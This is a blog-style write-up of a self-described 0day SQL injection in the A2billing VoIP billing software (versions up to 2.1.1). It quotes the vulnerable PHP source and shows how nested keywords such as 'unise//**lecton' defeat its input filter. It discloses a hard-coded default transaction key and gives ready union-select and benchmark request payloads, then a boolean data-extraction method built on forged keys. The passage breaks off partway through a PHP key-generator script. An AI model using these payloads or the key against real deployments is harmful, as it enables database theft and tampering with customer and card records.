A2billing <= 2.1.1 0day SQL injection exploit writeup

October 28, 2016

Intro

A2B , Asterisk2billing , a2billing . . etc , the official website describe it as a

free and open source software for Asterisk, providing telecoms customer management including admin, agent, customer and online signup pages, with flexible inline rating and billing of calls and services in real time

a2billing is deployed by long list of voip companies and come by default with various voip distros , eg. and not limited to Elastix

A2b team is working hard to deliver a free open source and yet premium quality product with almost no real revenue (for a2b users , consider donations , It really worth it) , that’s why I will give them enough time to release updates and fix their stuff

a2billing is really nice tool with beautiful , easy and helpful interface which really seem to be secured enough from the 1st sight I mean when you look around the source code with these too many hardening / sanitation functions you be like But why be in a rush!! We got the time , smoked salmon and coffee , a lot of coffee so get your coffee , tea , weed or whatever make your eyes 15KM wide and let’s start

Hardening and sanitization

Good point , that’s what we should look for in the 1st place let’s start from scratch ,

File : common/lib/protect_sqli.php

 1<?php
 2
 3function array_map_recursive( $func, $arr )
 4{
 5    $newArr = array();
 6    if (!$arr) {
 7        return $newArr;
 8    }
 9    foreach ($arr as $key => $value) {
10        $newArr[ $key ] = ( is_array( $value ) ? array_map_recursive( $func, $value ) : $func( $value ) );
11    }
12
13    return $newArr;
14}
15
16function recursive_filter($arr)
17{
18    $newArr = array();
19    foreach ($arr as $key => $value) {
20        if (is_array($value)) {
21            $newArr[ $key ] = recursive_filter( $value );
22        } else {
23            if (filter_var($value, FILTER_SANITIZE_STRING) !== false) {
24                $newArr[ $key ] = $value;
25            } else {
26                $newArr[ $key ] = filter_var($value, FILTER_SANITIZE_STRING);
27            }
28        }
29    }
30
31    return $newArr;
32}
33
34// Clean up POST, GET, and COOKIES vars.
35if (!get_magic_quotes_gpc()) {
36    $_POST = array_map_recursive('stripslashes',$_POST);
37    $_GET  = array_map_recursive('stripslashes', $_GET);
38    $_COOKIE  = array_map_recursive('stripslashes', $_COOKIE);
39}
40
41if (!function_exists('mysql_real_escape_string')) {
42    // $_POST = array_map_recursive('mysql_real_escape_string',$_POST);
43    // $_GET  = array_map_recursive('mysql_real_escape_string', $_GET);
44    // $_COOKIE  = array_map_recursive('mysql_real_escape_string', $_COOKIE);
45} else {
46    $_POST = array_map_recursive('addslashes',$_POST);
47    $_GET  = array_map_recursive('addslashes', $_GET);
48    $_COOKIE  = array_map_recursive('addslashes', $_COOKIE);
49}
50
51$_POST = recursive_filter($_POST);
52$_GET  = recursive_filter($_GET);
53$_COOKIE  = recursive_filter($_COOKIE);

The old fashioned sql injection protection stuff , to protect it , escape it Great , so basically what’s happening here is that any GET , POST , COOKIE inputs are being escaped before even being passed to any file Not bad , but still by-passable All queries are being processed through ExecuteQuery function located at Class.table.php

 1<?php
 2  public function ExecuteQuery($DBHandle, $QUERY, $cache = 0)
 3    {
 4        global $A2B;
 5
 6        if ($this->writelog) {
 7            $time_start = microtime(true);
 8        }
 9
10        if ($A2B->config["database"]['dbtype'] == 'postgres') {
11            // convert MySQLisms to be Postgres compatible
12            $this->mytopg->My_to_Pg($QUERY);
13        } else {
14            // the MySQL schema takes care of case-insensitivity
15            $QUERY = preg_replace('/([[:space:]]+)I(LIKE[[:space:]]+)/i', '\1\2', $QUERY);
16        }
17
18        if ($this->debug_st) echo $this->start_message_debug . $QUERY . $this->end_message_debug;
19        if ($cache > 0) {
20            $res = $DBHandle->CacheExecute($cache, $QUERY);
21        } else {
22            $start = $this->getTime();
23            $res = $DBHandle->Execute($QUERY);
24            $this->query_handler->queryCount += 1;
25            $this->logQuery($QUERY, $start);
26        }
27
28        if ($DBHandle->ErrorNo() != 0) {
29            $this->errstr = $DBHandle->ErrorMsg();
30            if ($this->debug_st)
31                echo $DBHandle->ErrorMsg();
32            if ($this->debug_st_stop)
33                exit;
34        }
35
36        if ($this->writelog) {
37            $time_end = microtime(true);
38            $time = $time_end - $time_start;
39        }
40
41        if ($this->writelog) {
42            if ($time > $this->alert_query_time) {
43                if ($time > $this->alert_query_long_time)
44                    $A2B->debug(WARN, false, __FILE__, __LINE__, "EXTRA_TOOLONG_DB_QUERY - RUNNING TIME = $time");
45                else
46                    $A2B->debug(WARN, false, __FILE__, __LINE__, "TOOLONG_DB_QUERY - RUNNING TIME = $time");
47            }
48            $A2B->debug(DEBUG, false, __FILE__, __LINE__, "Running time=$time - QUERY=\n$QUERY\n");
49        }
50
51        return $res;
52    }
the function itself have no protection , so If we passed nice payload to the function It will be executed without problems going back to the escaping stuff , we will need to find some part of the code in which there is no quoted query

select blah from whatever where blahid=$am_vulnerable;

No quotes , we wont care about escaping , and it’s done

Vulnerability

by quick files viewing I found agent/public/checkout_process.php

Code snip

36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
getpost_ifset(array('transactionID', 'sess_id', 'key', 'mc_currency', 'currency', 'md5sig', 'merchant_id', 'mb_amount', 'status', 'mb_currency',
                    'transaction_id', 'mc_fee', 'card_number'));

write_log(LOGFILE_EPAYMENT, basename(__FILE__).' line:'.__LINE__."EPAYMENT : transactionID=$transactionID - transactionKey=$key \n -POST Var \n".print_r($_POST, true));

if ($sess_id =="") {
    write_log(LOGFILE_EPAYMENT, basename(__FILE__).' line:'.__LINE__."-transactionID=$transactionID"." ERROR NO SESSION ID PROVIDED IN RETURN URL TO PAYMENT MODULE");
    exit();
}

if ($transactionID == "") {
    write_log(LOGFILE_EPAYMENT, basename(__FILE__).' line:'.__LINE__."-transactionID=$transactionID"." NO TRANSACTION ID PROVIDED IN REQUEST");
    exit();
}

include '../lib/agent.module.access.php';
include '../lib/Form/Class.FormHandler.inc.php';
include '../lib/epayment/classes/payment.php';
include '../lib/epayment/classes/order.php';
include '../lib/epayment/classes/currencies.php';
include '../lib/epayment/includes/general.php';
include '../lib/epayment/includes/html_output.php';
include '../lib/epayment/includes/configure.php';
include '../lib/epayment/includes/loadconfiguration.php';

$DBHandle_max  = DbConnect();
$paymentTable = new Table();

if (DB_TYPE == "postgres") {
    $NOW_2MIN = " creationdate <= (now() - interval '2 minute') ";
} else {
    $NOW_2MIN = " creationdate <= DATE_SUB(NOW(), INTERVAL 2 MINUTE) ";
}

// Status - New 0 ; Proceed 1 ; In Process 2
$QUERY = "SELECT id, agent_id, amount, vat, paymentmethod, cc_owner, cc_number, cc_expires, creationdate, status, cvv, credit_card_type, currency " .
         " FROM cc_epayment_log_agent " .
         " WHERE id = ".$transactionID." AND (status = 0 OR (status = 2 AND $NOW_2MIN))";
$transaction_data = $paymentTable->SQLExec ($DBHandle_max, $QUERY);
Look what I’ve found!! Line 73 is exactly what I needed Unquoted query , with a manipulable parameter , trying couple payloads and Problem solved!!! If it was that easy I wouldn’t even bother myself writing that post , right?!

More hardening

A2B is getting input fields through getpost_ifset function

346function getpost_ifset($test_vars)
347{
348    if (!is_array($test_vars)) {
349        $test_vars = array (
350            $test_vars
351        );
352    }
353    foreach ($test_vars as $test_var) {
354        if (isset ($_POST[$test_var])) {
355            global $$test_var;
356            $$test_var = $_POST[$test_var];
357
358        } elseif (isset ($_GET[$test_var])) {
359            global $$test_var;
360            $$test_var = $_GET[$test_var];
361        }
362        if (isset($$test_var)) {
363            $$test_var = sanitize_data($$test_var);
364            //rebuild the search parameter to filter character to format card number
365            if ($test_var == 'username' || $test_var == 'filterprefix') {
366                //rebuild the search parameter to filter character to format card number
367                $filtered_char = array (
368                    " ",
369                    "-",
370                    "_",
371                    "(",
372                    ")",
373                    "/",
374                    "\\"
375                );
376                $$test_var = str_replace($filtered_char, "", $$test_var);
377            }
378        }
379    }
380}
Aha , line 363 sanitize_data In the same file

function sanitize_data($input)
{
    if (is_array($input)) {
        // Sanitize Array
        foreach ($input as $var => $val) {
            $output[$var] = sanitize_data($val);
        }
    } else {
        // Remove whitespaces (not a must though)
        $input = trim($input);
        $input = str_replace('--', '', $input);
        $input = str_replace('..', '', $input);
        $input = str_replace(';', '', $input);
        $input = str_replace('/*', '', $input);

        // Injection sql
        $input = str_ireplace('HAVING', '', $input);
        $input = str_ireplace('UNION', '', $input);
        $input = str_ireplace('SUBSTRING', '', $input);
        $input = str_ireplace('ASCII', '', $input);
        $input = str_ireplace('SHA1', '', $input);
        #MD5 is used by md5secret
        #$input = str_ireplace('MD5', '', $input);
        $input = str_ireplace('ROW_COUNT', '', $input);
        $input = str_ireplace('SELECT', '', $input);
        $input = str_ireplace('INSERT', '', $input);
        $input = str_ireplace('CASE WHEN', '', $input);
        $input = str_ireplace('INFORMATION_SCHEMA', '', $input);
        $input = str_ireplace('DROP', '', $input);
        $input = str_ireplace('RLIKE', '', $input);
        $input = str_ireplace(' IF', '', $input);
        $input = str_ireplace(' OR ', '', $input);
        $input = str_ireplace('\\', '', $input);
        //$input = str_ireplace('DELETE', '', $input);
        $input = str_ireplace('CONCAT', '', $input);
        $input = str_ireplace('WHERE', '', $input);
        $input = str_ireplace('UPDATE', '', $input);
        $input = str_ireplace(' or 1', '', $input);
        $input = str_ireplace(' or true', '', $input);
        //Permutation - in mailing admin/Public/A2B_entity_mailtemplate.php
        // we use url with key=$loginkey$
        $input = str_ireplace('=$', '+$', $input);
        $input = str_ireplace('=', '', $input);
        $input = str_ireplace('+$', '=$', $input);

        if (get_magic_quotes_gpc()) {
            $input = stripslashes($input);
        }
        $input = sanitize_tag($input);

        $output = addslashes($input);
    }
    return $output;
}

and

function sanitize_tag($input)
{
    $search = array (
        '@<script[^>]*?>.*?</script>@si', // Strip out javascript
        '@<[\/\!]*?[^<>]*?>@si', // Strip out HTML tags
        '@<style[^>]*?>.*?</style>@siU', // Strip style tags properly
        '@<![\s\S]*?--[ \t\n\r]*>@' // Strip multi-line comments
    );

    $output = preg_replace($search, '', $input);

    return $output;
}

Actually nth to explain , every single string which can be used in sqli is being removed via replacing it with “” which mean if the input was transactionID=456789 or 1=1– – it will be queried as transactionID=45678911 – which make no risk at all

Bypass

sensitization is not that strong after all , the function is sanitize each input twice , replacing risky strings with nth , so let’s put risky string inside risky string inside risky string so the 1st risky string is replaced the the 2nd risky string is replaced and we will have our last original risky string left!!

for instance

        $input = str_replace('--', '', $input);
        $input = str_replace('..', '', $input);
        $input = str_replace(';', '', $input);
        $input = str_replace('/*', '', $input);

If we need to add the — comment , all we need to do is to set the input value to -//**-

which will be proceed as following -//**- ———[1st replacement will remove /* ]——-> –/*– ————–[2nd replacement will remove another /*]—–> only is left same for the rest of the strings , just pick up a later string to replace inside the one you want for instance

        $input = str_ireplace('RLIKE', '', $input);
        $input = str_ireplace(' IF', '', $input);
        $input = str_ireplace(' OR ', '', $input);
        $input = str_ireplace('\\', '', $input);
        //$input = str_ireplace('DELETE', '', $input);
        $input = str_ireplace('CONCAT', '', $input);
        $input = str_ireplace('WHERE', '', $input);

If i want to use or inside the query , I can not use o i iffr , because the if will be replaced twice and then or will also get removed Instead we would use owhewhererer so transactionID=456789 or 0x4148>benchmark(1,md5(0x4148))– – would become transactionID=456789 oWHEUPDATEREr 0x4148>benchmark(1,md5(0x4148))-//**- – so testing final payload will result in And by increasing benchmark to 1 million we get 3.5 seconds delay Filters bypassed , Time for real exploitation

Exploitation

using time based technique isn’t an option at all , stressing the target server that much with tons of benchmark queries is not the best options and can be only used when there is no alternative, so let’s try to convert this to Boolean based exploit back to checkout_process.php file

 81<?php
 82if (!is_array($transaction_data) && count($transaction_data) == 0) {
 83    write_log(LOGFILE_EPAYMENT, basename(__FILE__).
 84        ' line:'.__LINE__."- transactionID=$transactionID"." ERROR INVALID TRANSACTION ID PROVIDED, TRANSACTION ID =".$transactionID);
 85    exit();
 86} else {
 87    write_log(LOGFILE_EPAYMENT, basename(__FILE__).
 88        ' line:'.__LINE__."- transactionID=$transactionID"." EPAYMENT RESPONSE: TRANSACTIONID = ".$transactionID.
 89        " FROM ".$transaction_data[0][4]."; FOR CUSTOMER ID ".$transaction_data[0][1]."; OF AMOUNT ".$transaction_data[0][2]);
 90}
 91
 92$security_verify = true;
 93$transaction_detail = base64_encode(serialize($_POST));
 94
 95$currencyObject = new currencies();
 96$currencies_list = get_currencies();
 97
 98switch ($transaction_data[0][4]) {
 99    case "paypal":
100        $currCurrency = $mc_currency;
101        if ($A2B->config['epayment_method']['charge_paypal_fee']==1) {
102            $currAmount = $transaction_data[0][2] ;
103        } else {
104            $currAmount = $transaction_data[0][2] - $mc_fee;
105        }
106        $postvars = array();
107        $req = 'cmd=_notify-validate';
108        foreach ($_POST as $vkey => $Value) {
109            $req .= "&" . $vkey . "=" . urlencode ($Value);
110        }
111
112        // Check amount is correct
113        if (intval($amount) != intval($_POST['mc_gross'])){
114            write_log(LOGFILE_EPAYMENT, basename(__FILE__).' line:'.__LINE__." -Amount Paypal is not matching");
115            $security_verify = false;
116            sleep(3);
117        }
118
119        // Headers PayPal system to validate
120        $header .= "POST /cgi-bin/webscr HTTP/1.1\r\n";
121        $header .= "Content-Type: application/x-www-form-urlencoded\r\n";
122        $header .= "Host: www.paypal.com\r\n";
123        $header .= "Content-Length: " . strlen ($req) . "\r\n\r\n";
124        for ($i = 1; $i <=3; $i++) {
125            write_log(LOGFILE_EPAYMENT, basename(__FILE__).' line:'.__LINE__."-OPENDING HTTP CONNECTION TO ".PAYPAL_VERIFY_URL);
126            $fp = fsockopen (PAYPAL_VERIFY_URL, 443, $errno, $errstr, 30);
127            if ($fp) {
128                break;
129            } else {
130                write_log(LOGFILE_EPAYMENT, basename(__FILE__).' line:'.__LINE__." -Try#".$i." Failed to open HTTP Connection : ".$errstr.". Error Code: ".$errno);
131                sleep(3);
132            }
133        }
134        if (!$fp) {
135            write_log(LOGFILE_EPAYMENT, basename(__FILE__).' line:'.__LINE__."-Failed to open HTTP Connection: ".$errstr.". Error Code: ".$errno);
136            exit();
137        } else {
138            fputs ($fp, $header . $req);
139            $flag_ver = 0;
140            while (!feof($fp)) {
141                $res = fgets ($fp, 1024);
142                if (strcmp ($res, "VERIFIED") == 0) {
143                    write_log(LOGFILE_EPAYMENT, basename(__FILE__).' line:'.__LINE__."-PAYPAL Transaction Verification Status: Verified ");
144                    $flag_ver = 1;
145                }
146            }
147            if ($flag_ver == 0) {
148                write_log(LOGFILE_EPAYMENT, basename(__FILE__).' line:'.__LINE__."-PAYPAL Transaction Verification Status: Failed ");
149                $security_verify = false;
150            }
151        }
152        fclose ($fp);
153        break;
154
155    case "moneybookers":
156        $currAmount = $transaction_data[0][2];
157        $sec_string = $merchant_id.$transaction_id.strtoupper(md5(MONEYBOOKERS_SECRETWORD)).$mb_amount.$mb_currency.$status;
158        $sig_string = strtoupper(md5($sec_string));
159
160        if ($sig_string == $md5sig) {
161            write_log(LOGFILE_EPAYMENT, basename(__FILE__).' line:'.__LINE__."-MoneyBookers Transaction Verification Status: Verified | md5sig =".$md5sig." Reproduced Signature = ".$sig_string." Generated String = ".$sec_string);
162        } else {
163            write_log(LOGFILE_EPAYMENT, basename(__FILE__).' line:'.__LINE__."-MoneyBookers Transaction Verification Status: Failed | md5sig =".$md5sig." Reproduced Signature = ".$sig_string." Generated String = ".$sec_string);
164            $security_verify = false;
165        }
166        $currCurrency = $currency;
167        break;
168
169    case "authorizenet":
170        $currAmount = $transaction_data[0][2];
171        $currCurrency = BASE_CURRENCY;
172        break;
173
174    case "plugnpay":
175
176        if (substr($card_number,0,4) != substr($transaction_data[0][6],0,4)) {
177            write_log(LOGFILE_EPAYMENT, basename(__FILE__).' line:'.__LINE__."- PlugNPay Error : First 4digits of the card doesn't match with the one stored.");
178        }
179
180        $currCurrency       = BASE_CURRENCY;
181        $currAmount         = $transaction_data[0][2];
182        $currAmount_usd     = convert_currency($currencies_list, $currAmount, BASE_CURRENCY, 'USD');
183
184        $pnp_post_values = array(
185            'publisher-name' => MODULE_PAYMENT_PLUGNPAY_LOGIN,
186            'mode'           => 'auth',
187            'ipaddress'      => $_SERVER['REMOTE_ADDR'],
188            // Metainfo
189            'convert'        => 'underscores',
190            'easycart'       => '1',
191            'shipinfo'       => '1',
192            'authtype'       => MODULE_PAYMENT_PLUGNPAY_CCMODE,
193            'paymethod'      => MODULE_PAYMENT_PLUGNPAY_PAYMETHOD,
194            'dontsndmail'    => MODULE_PAYMENT_PLUGNPAY_DONTSNDMAIL,
195            // Card Info
196            'card_number'    => $card_number,
197            'card-name'      => $transaction_data[0][5],
198            'card-amount'    => $currAmount_usd,
199            'card-exp'       => $transaction_data[0][7],
200            'cc-cvv'         => $transaction_data[0][10]
201        );
202        write_log(LOGFILE_EPAYMENT, basename(__FILE__).' line:'.__LINE__."- PlugNPay Value Sent : \n\n".print_r($pnp_post_values, true));
203
204        // init curl handle
205        $pnp_ch = curl_init(PLUGNPAY_PAYMENT_URL);
206        curl_setopt($pnp_ch, CURLOPT_RETURNTRANSFER, 1);
207        $http_query = http_build_query( $pnp_post_values );
208        curl_setopt($pnp_ch, CURLOPT_POSTFIELDS, $http_query);
209        #curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE);  // Upon problem, uncomment for additional Windows 2003 compatibility
210
211        // perform ssl post
212        $pnp_result_page = curl_exec($pnp_ch);
213        parse_str( $pnp_result_page, $pnp_transaction_array );
214
215        write_log(LOGFILE_EPAYMENT, basename(__FILE__).' line:'.__LINE__."- PlugNPay Result : \n\n".print_r($pnp_transaction_array, true));
216        write_log(LOGFILE_EPAYMENT, basename(__FILE__).' line:'.__LINE__."- RESULT : ".$pnp_transaction_array['FinalStatus']);
217
218        // $pnp_transaction_array['FinalStatus'] = 'badcard';
219        //echo "<pre>".print_r ($pnp_transaction_array, true)."</pre>";
220
221        $transaction_detail = serialize($pnp_transaction_array);
222        break;
223
224    default:
225        write_log(LOGFILE_EPAYMENT, basename(__FILE__).' line:'.__LINE__."-NO SUCH EPAYMENT FOUND");
226        exit();
227}
the previous injected query result is being checked if being array or not , if not the php will exit and terminate the rest of script execution if yes it will proceed with the execution flaw by switching $transaction_data[0][4] and doing some stuff later

228<?php
229if (empty($transaction_data[0]['vat']) || !is_numeric($transaction_data[0]['vat'])){
230    $VAT = 0;
231} else {
232    $VAT = $transaction_data[0]['vat'];
233}
234
235write_log(LOGFILE_EPAYMENT, basename(__FILE__).' line:'.__LINE__."curr amount $currAmount $currCurrency BASE_CURRENCY=".BASE_CURRENCY);
236$amount_paid = convert_currency($currencies_list, $currAmount, $currCurrency, BASE_CURRENCY);
237$amount_without_vat = $amount_paid / (1+$VAT/100);
238
239//If security verification fails then send an email to administrator as it may be a possible attack on epayment security.
240if ($security_verify == false) {
241    write_log(LOGFILE_EPAYMENT, basename(__FILE__).' line:'.__LINE__."- security_verify == False | END");
242    try {
243        //TODO: create mail class for agent
244        $mail = new Mail('epaymentverify',null);
245    } catch (A2bMailException $e) {
246        write_log(LOGFILE_EPAYMENT, basename(__FILE__).' line:'.__LINE__."-transactionID=$transactionID"." ERROR NO EMAIL TEMPLATE FOUND");
247        exit();
248    }
249    $mail->replaceInEmail(Mail::$TIME_KEY,date("y-m-d H:i:s"));
250    $mail->replaceInEmail(Mail::$PAYMENTGATEWAY_KEY, $transaction_data[0][4]);
251    $mail->replaceInEmail(Mail::$ITEM_AMOUNT_KEY, $amount_paid.$currCurrency);
252
253    // Add Post information / useful to track down payment transaction without having to log
254    $mail->AddToMessage("\n\n\n\n"."-POST Var \n".print_r($_POST, true));
255    $mail ->send(ADMIN_EMAIL);
256    exit();
257}
258
259$newkey = securitykey(EPAYMENT_TRANSACTION_KEY, $transaction_data[0][8]."^".$transactionID."^".$transaction_data[0][2]."^".$transaction_data[0][1]);
260if ($newkey == $key) {
261    write_log(LOGFILE_EPAYMENT, basename(__FILE__).' line:'.__LINE__."----------- Transaction Key Verified ------------");
262} else {
263    write_log(LOGFILE_EPAYMENT, basename(__FILE__).' line:'.__LINE__."----NEW KEY =".$newkey." OLD KEY= ".$key." ------- Transaction Key Verification Failed:".$transaction_data[0][8]."^".$transactionID."^".$transaction_data[0][2]."^".$transaction_data[0][1]." ------------\n");
264    exit();
265}
266write_log(LOGFILE_EPAYMENT, basename(__FILE__).' line:'.__LINE__."-transactionID=$transactionID"." ---------- TRANSACTION INFO ------------\n".print_r($transaction_data,1));
267$payment_modules = new payment($transaction_data[0][4]);
oOps , the script create a key based on our input + sql output and compare it to another key based on the pre-defined EPAYMENT_TRANSACTION_KEY value

<?php
function securitykey($key, $data)
{
    // RFC 2104 HMAC implementation for php.
    // Creates an md5 HMAC.
    // Eliminates the need to install mhash to compute a HMAC
    // Hacked by Lance Rushing

    $b = 64; // byte length for md5
    if (strlen($key) > $b) {
        $key = pack("H*", md5($key));
    }
    $key = str_pad($key, $b, chr(0x00));
    $ipad = str_pad('', $b, chr(0x36));
    $opad = str_pad('', $b, chr(0x5c));
    $k_ipad = $key ^ $ipad;
    $k_opad = $key ^ $opad;

    return md5($k_opad . pack("H*", md5($k_ipad . $data)));
}

Lucky us EPAYMENT_TRANSACTION_KEY is the same at all a2billing versions and is not being changed at all which always equal asdf1212fasd121554sd4f5s45sdf assuming that we got a good key and bypassed the exit() part

267<?php
268$payment_modules = new payment($transaction_data[0][4]);
269// load the before_process function from the payment modules
270//$payment_modules->before_process();
271
272$QUERY = "SELECT id, credit, lastname, firstname, address, city, state, country, zipcode, phone, email, fax, currency " .
273         "FROM cc_agent WHERE id = '".$transaction_data[0][1]."'";
274$resmax = $DBHandle_max -> Execute($QUERY);
275if ($resmax) {
276    $numrow = $resmax -> RecordCount();
277} else {
278    write_log(LOGFILE_EPAYMENT, basename(__FILE__).' line:'.__LINE__."-transactionID=$transactionID"." ERROR NO SUCH CUSTOMER EXISTS, CUSTOMER ID = ".$transaction_data[0][1]);
279    exit(gettext("No Such Customer exists."));
280}
281$customer_info = $resmax -> fetchRow();
282$nowDate = date("Y-m-d H:i:s");
283
284$pmodule = $transaction_data[0][4];
285
286$orderStatus = $payment_modules->get_OrderStatus();
287
288$Query = "INSERT INTO cc_payments_agent ( agent_id, agent_name, agent_email_address, item_name, item_id, item_quantity, payment_method, cc_type, cc_owner, cc_number, " .
289            " cc_expires, orders_status, last_modified, date_purchased, orders_date_finished, orders_amount, currency, currency_value) values (" .
290            " '".$transaction_data[0][1]."', '".$customer_info[3]." ".$customer_info[2]."', '".$customer_info["email"]."', 'balance', '".
291            $customer_info[0]."', 1, '$pmodule', '".$_SESSION["p_cardtype"]."', '".$transaction_data[0][5]."', '".$transaction_data[0][6]."', '".
292            $transaction_data[0][7]."',  $orderStatus, '".$nowDate."', '".$nowDate."', '".$nowDate."',  ".$amount_paid.",  '".$currCurrency."', '".
293            $currencyObject->get_value($currCurrency)."' )";
294$result = $DBHandle_max -> Execute($Query);
295
296//************************UPDATE THE CREDIT IN THE CARD***********************
297$id = $customer_info[0];
298if ($id > 0) {
299    $addcredit = $transaction_data[0][2];
300    $instance_table = new Table("cc_agent", "");
301    $param_update .= " credit = credit + '".$amount_without_vat."'";
302    $FG_EDITION_CLAUSE = " id='$id'";
303    $instance_table -> Update_table ($DBHandle, $param_update, $FG_EDITION_CLAUSE, $func_table = null);
304    write_log(LOGFILE_EPAYMENT, basename(__FILE__).' line:'.__LINE__."-transactionID=$transactionID"." Update_table cc_card : $param_update - CLAUSE : $FG_EDITION_CLAUSE");
305
306    $field_insert = "date, credit, agent_id, description";
307    $value_insert = "'$nowDate', '".$amount_without_vat."', '$id', '".$transaction_data[0][4]."'";
308    $instance_sub_table = new Table("cc_logrefill_agent", $field_insert);
309    $id_logrefill = $instance_sub_table -> Add_table ($DBHandle, $value_insert, null, null, 'id');
310    write_log(LOGFILE_EPAYMENT, basename(__FILE__).' line:'.__LINE__."-transactionID=$transactionID"." Add_table cc_logrefill : $field_insert - VALUES $value_insert");
311
312    $field_insert = "date, payment, agent_id, id_logrefill, description";
313    $value_insert = "'$nowDate', '".$amount_paid."', '$id', '$id_logrefill', '".$transaction_data[0][4]."'";
314    $instance_sub_table = new Table("cc_logpayment_agent", $field_insert);
315    $id_payment = $instance_sub_table -> Add_table ($DBHandle, $value_insert, null, null,"id");
316    write_log(LOGFILE_EPAYMENT, basename(__FILE__).' line:'.__LINE__."-transactionID=$transactionID"." Add_table cc_logpayment : $field_insert - VALUES $value_insert");
317}
318
319$_SESSION["p_amount"] = null;
320$_SESSION["p_cardexp"] = null;
321$_SESSION["p_cardno"] = null;
322$_SESSION["p_cardtype"] = null;
323$_SESSION["p_module"] = null;
324$_SESSION["p_module"] = null;
325
326//Update the Transaction Status to 1 (Proceed 1)
327$QUERY = "UPDATE cc_epayment_log_agent SET status=1, transaction_detail='".addslashes($transaction_detail)."' WHERE id = ".$transactionID;
328$paymentTable->SQLExec ($DBHandle_max, $QUERY);
329write_log(LOGFILE_EPAYMENT, basename(__FILE__).' line:'.__LINE__."- QUERY = $QUERY");
330
331switch ($orderStatus) {
332    case -2:
333        $statusmessage = "Failed";
334        break;
335    case -1:
336        $statusmessage = "Denied";
337        break;
338    case 0:
339        $statusmessage = "Pending";
340        break;
341    case 1:
342        $statusmessage = "In-Progress";
343        break;
344    case 2:
345        $statusmessage = "Successful";
346        break;
347}
348
349if ( ($orderStatus != 2) && ($transaction_data[0][4]=='plugnpay')) {
350    Header ("Location: checkout_payment.php?payment_error=plugnpay&error=The+payment+couldnt+be+proceed+correctly!");
351    die();
352}
353
354write_log(LOGFILE_EPAYMENT, basename(__FILE__).' line:'.__LINE__."-transactionID=$transactionID"." EPAYMENT ORDER STATUS  = ".$statusmessage);
355
356// load the after_process function from the payment modules
357$payment_modules->after_process();
358write_log(LOGFILE_EPAYMENT, basename(__FILE__).' line:'.__LINE__."-transactionID=$transactionID"." EPAYMENT ORDER STATUS ID = ".$orderStatus." ".$statusmessage);
359write_log(LOGFILE_EPAYMENT, basename(__FILE__).' line:'.__LINE__."-transactionID=$transactionID"." ----EPAYMENT TRANSACTION END----");
360
361if ($transaction_data[0][4]=='plugnpay') {
362    Header ("Location: agentinfo.php");
363    die;
364}

The most line we really care about is line 94,95 why? because it’s the only way to indicate if the injection query is true or false let’s enum the steps we need to take and get it done one by one

  • making sure that our injection payload result in an array
  • Bypass the exit at line 226
  • getting through the key validation
  • making sure that $resmax value at line 273 != null

1st the query will result in an array if we used union based injection transactionID=45678911111 unise//**lecton selinse//**rtect 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15-//**- -&sess_id=4148 will result in an array , so we 1st problem is solved

2nd , the exit() at line 226 , this can be easily solved by setting $transaction_data[0][4] to any predefined string , eg. authorizenet query would be like

transactionID=456789111111 unise//**lecton selinse//**rtect 1,2,3,4,0x617574686f72697a656e6574,6,7,8,9,10,11,12,13-//**- -&sess_id=4148

Problem solved

Now with the 3rd one , the key stuff actually we will depend a lot on that key to determine if our query is successfull or not the key encryption format is

$transaction_data[0][8].”^”.$transactionID.”^”.$transaction_data[0][2].”^”.$transaction_data[0][1]

which in our case will be Exactly

authorizenet9^456789111111 union select 1,2,3,4,0x617574686f72697a656e6574,6,7,8,9,10,11,12,13– -^3^2

If we used the encryption function to encrypt these data using the key “asdf1212fasd121554sd4f5s45sdf” we will get “d5b020a7114699b40b4a513c309034a5” which is the true key value Let’s stop here for a minute as noticed the key data value is $transaction_data[0][8].”^”.$transactionID.”^”.$transaction_data[0][2].”^”.$transaction_data[0][1]

We have control over $transaction_data , mean we can use it to execute an inner query

eg. transactionID=456789111111 unise//**lecton selinse//**rtect 1,2,3,4,0x617574686f72697a656e6574,6,7,8,(selinse//**rtect(version())),10,11,12,13-//**- -&sess_id=4148 The key input will be 5.0.95^456789111111 union select 1,2,3,4,0x617574686f72697a656e6574,6,7,8,version(),10,11,12,13– -^3^2 Keep this on your mind for later

Let’s go through the last Problem , controlling the redirection/termination flow

348<?php
349if ( ($orderStatus != 2) && ($transaction_data[0][4]=='plugnpay')) {
350    Header ("Location: checkout_payment.php?payment_error=plugnpay&error=The+payment+couldnt+be+proceed+correctly!");
351    die();
352}
353
354write_log(LOGFILE_EPAYMENT, basename(__FILE__).' line:'.__LINE__."-transactionID=$transactionID"." EPAYMENT ORDER STATUS  = ".$statusmessage);
355
356// load the after_process function from the payment modules
357$payment_modules->after_process();
358write_log(LOGFILE_EPAYMENT, basename(__FILE__).' line:'.__LINE__."-transactionID=$transactionID"." EPAYMENT ORDER STATUS ID = ".$orderStatus." ".$statusmessage);
359write_log(LOGFILE_EPAYMENT, basename(__FILE__).' line:'.__LINE__."-transactionID=$transactionID"." ----EPAYMENT TRANSACTION END----");
360
361if ($transaction_data[0][4]=='plugnpay') {
362    Header ("Location: agentinfo.php");
363    die;
364}
Both lines 349 , 361 will work for us , we just need to change $transaction_data[0][4] to plugnpay so query will just be

transactionID=456789111111 unise//**lecton selinse//**rtect 1,2,3,4,0x706c75676e706179,6,7,8,9,10,11,12,13-//**- -&sess_id=4148

Blinding it

The previous query will exactly equal key value 636902c6ed0db5780eb613d126e95268 If we passed this key value to the request

transactionID=456789111111 unise//**lecton selinse//**rtect 1,2,3,4,0x706c75676e706179,6,7,8,9,10,11,12,13-//**- -&sess_id=4148&key=636902c6ed0db5780eb613d126e95268

Response will be

Great , Redirection occured because that our query + query output matched the key we provided we will take this advantage to exploit this flaw using boolean based technique

Return to passing the key part , We will provide an inner query , say that substring((select username from admins),1,1) is truely equal to a

  1. in our request we will add that inner query
  2. and in OUR encryption function we will provide an ‘a‘ instead
  3. taking the key resulting from step 2
  4. Passing that key value with the request on step 1
  5. If the ‘a’ we provided on step 2 is true , a redirection will occur , If not true , redirection wont take place

using this we will be able to extract all data we need Let’s give this a try

Using the following php code we can generate full request based on our wanted query

<?php
$x=$_POST['query'];
$y=$_POST['rez'];
 
function securitykey($key, $data)
{
    $b = 64;
    if (strlen($key) > $b) {
        $key = pack("H*", md5($key));
    }
    $key = str_pad($key, $b, chr(0x00));
    $ipad = str_pad('', $b, chr(0x36));
    $opad = str_pad('', $b, chr(0x5c));
